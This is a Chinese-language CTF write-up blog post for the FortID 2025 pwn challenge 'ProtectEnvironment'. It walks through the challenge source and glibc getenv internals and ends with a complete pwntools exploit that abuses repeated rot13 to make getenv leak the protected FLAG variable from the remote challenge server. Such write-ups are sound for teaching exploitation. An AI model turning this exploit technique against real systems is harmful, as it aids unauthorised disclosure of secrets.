2025-09-13-FortID-ProtectEnvironment


题目简介

一道关于环境变量的利用题目,和一般的堆栈利用不太一样

由于比赛结束以后看不到题目了,因此就不放原题链接了…………

漏洞点分析

这道题目给了一份源代码,一个二进制文件以及一个libc-2.27的so文件

那于是直接看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
// gcc -o chall chall.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void rot13(char *s) {
while (*s != 0) {
*s += 13;
s++;
}
}

int main(void) {
setbuf(stdin, NULL);
setbuf(stdout, NULL);

char command[64];
char name[64];

while (1) {
printf("> ");
scanf("%63s %63s", command, name);
if (!strcmp(command, "protect"))
{
char *val = getenv(name);
if (val)
{
rot13(val);
printf("Protected %s\n", name);
}
else
{
printf("No such environment variable\n");
}
}

else if (!strcmp(command, "print"))
{
if (!strcmp(name, "FLAG"))
{
printf("Access denied\n");
}
else
{
char *val = getenv(name);
if (val)
{
printf("%s=%s\n", name, val);
}
else
{
printf("No such environment variable\n");
}
}
}

else
{
printf("Unknown command\n");
break ;
}
}
return 0;
}

源码还是比较简单易懂的,大概就是模拟了一个命令解释器,只有两个指令,protect会对指定的环境变量进行每个字符+13的加密操作,print会输出环境变量的值,但会检查如果是FLAG则拒绝输出

乍一看上去无从下手,只能耐心一点点分析

首先按照常规思路,先checksec看一下保护,,发现全开,如图:


于是放弃溢出的想法,而且粗略看下来也没有很明显的溢出点(可控输入63字节小于缓冲区大小,也没有memcpy这种危险函数)

然后我考虑是否能绕过strcmp的比较逻辑,但是上网搜了下strcmp的具体行为,结合glibc-2.27源码,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#ifndef STRCMP
# define STRCMP strcmp
#endif
/* Compare S1 and S2, returning less than, equal to or
greater than zero if S1 is lexicographically less than,
equal to or greater than S2. */
int STRCMP (const char *p1, const char *p2)
{
const unsigned char *s1 = (const unsigned char *) p1;
const unsigned char *s2 = (const unsigned char *) p2;
unsigned char c1, c2;

do
{
c1 = (unsigned char) *s1++;
c2 = (unsigned char) *s2++;
if (c1 == '\0') return c1 - c2;
}
while (c1 == c2);

return c1 - c2;
}

分析发现,strcmp会逐个字符比较,直到遇到0字节,看起来在这道题里没有可以利用的地方

之后尝试能否在scanf的时候做手脚,比如分批次输入(先输入111G,然后输出FLA这种),但是动态调试发现,scanf最后会在输入的末尾添加0x00,如下图:

首先在scanf处打断点,输入protect 11111111,然后根据反汇编结果容易得出name数组起始地址在rbp下方0x50个字节处,查看该处内存:


之后再次断在scanf这里,这次输入protect 11111,然后再次查看$rbp-0x50:


因此可以确定我们输入的是什么字符串,strcmp里面就会比较什么,这里绕不过去

接下来只能想:能不能输入的不是FLAG这四个字母,但是最后getenv返回的是FLAG变量(或者其有限次rot13的结果)呢?

于是需要深入了解getenv的行为,因此仔细研究了一下glibc2.27的源代码,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
/* Return the value of the environment variable NAME.  This implementation
is tuned a bit in that it assumes no environment variable has an empty
name which of course should always be true. We have a special case for
one character names so that for the general case we can assume at least
two characters which we can access. By doing this we can avoid using the
`strncmp' most of the time. */
char * getenv (const char *name)
{
size_t len = strlen (name);
char **ep;
uint16_t name_start;

if (__environ == NULL || name[0] == '\0')
return NULL;

if (name[1] == '\0')
{
/* The name of the variable consists of only one character. Therefore
the first two characters of the environment entry are this character
and a '=' character. */
#if __BYTE_ORDER == __LITTLE_ENDIAN || !_STRING_ARCH_unaligned
name_start = ('=' << 8) | *(const unsigned char *) name;
#else
name_start = '=' | ((*(const unsigned char *) name) << 8);
#endif
for (ep = __environ; *ep != NULL; ++ep)
{
#if _STRING_ARCH_unaligned
uint16_t ep_start = *(uint16_t *) *ep;
#else
uint16_t ep_start = (((unsigned char *) *ep)[0]
| (((unsigned char *) *ep)[1] << 8));
#endif
if (name_start == ep_start)
return &(*ep)[2];
}
}
else
{
#if _STRING_ARCH_unaligned
name_start = *(const uint16_t *) name;
#else
name_start = (((const unsigned char *) name)[0]
| (((const unsigned char *) name)[1] << 8));
#endif
len -= 2;
name += 2;

for (ep = __environ; *ep != NULL; ++ep)
{
#if _STRING_ARCH_unaligned
uint16_t ep_start = *(uint16_t *) *ep;
#else
uint16_t ep_start = (((unsigned char *) *ep)[0]
| (((unsigned char *) *ep)[1] << 8));
#endif

if (name_start == ep_start && !strncmp (*ep + 2, name, len)
&& (*ep)[len + 2] == '=')
return &(*ep)[len + 3];
}
}

return NULL;
}

glibc的源码看起来还是比较晦涩的,结合注释,这个函数看下来大概就是:对于传入的name是NULL的,直接返回NULL(对应第5行的if语句)

对于name是单个字符的单独处理,这跟题目没什么关系,因此主要看多个字节的

可以看到,getenv会首先初始化一个2字节指针,遍历environ数组时先比较前两个字节是否匹配,匹配之后,会一口气比较剩余部分以及name的后一个是否是’=’,如下所示:

1
2
if (name_start == ep_start && !strncmp (*ep + 2, name, len)
&& (*ep)[len + 2] == '=')

于是这里就有一个可以利用的地方:由于getenv仅匹配’=’,因此可以通过不断地rot13让某个字符变成’=’,由于ASCII字符仅一个字节,通过溢出256的方式这很容易实现;

但具体让哪个字符溢出为’=’呢?由于对于flag我们已知的前缀为FortID{,而经过计算,正好F的ASCII码可以经过整数次的+13操作变成’=’,因此最终的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
context(os="linux",arch="x86_64",log_level="debug")
context.terminal=["tmux","splitw","-h"]
targetELF="./pwn"
libcPath="./libc-2.27.so"
LOCAL=1
REMOTE=2
DEBUG=3
def Lauch(mode=LOCAL):
if mode==LOCAL:
io=process(targetELF)
elif mode==REMOTE:
io=remote("0.cloud.chals.io",33121)
elif mode==DEBUG:
io=gdb.debug(targetELF,"b *main+303")
return io

def Decrypt(character_,k):
cipher=ord(character_)
plain=0
overFlow=256+cipher
plain=overFlow-k*13
return chr(plain)

ioTube=Lauch(REMOTE)
rotTimes=(317-70)//13
for i in range(0,rotTimes):
ioTube.recvuntil("> ")
ioTube.sendline(b"protect "+b'FLAG')

ioTube.recvuntil("> ")
ioTube.sendline(b"print "+b'FLAG=')
response=ioTube.recvuntil('t').decode(errors="ignore")
response=response[5:]
flag=""
for item in response:
flag+=Decrypt(item,rotTimes)

print("flag={}".format(flag))

2025-09-13-FortID-ProtectEnvironment
http://0x4a-210.github.io/2025/09/15/pwn刷题记录/比赛题解/2025-09-13-FortID-ProtectEnvironment/
Posted on
September 15, 2025
Licensed under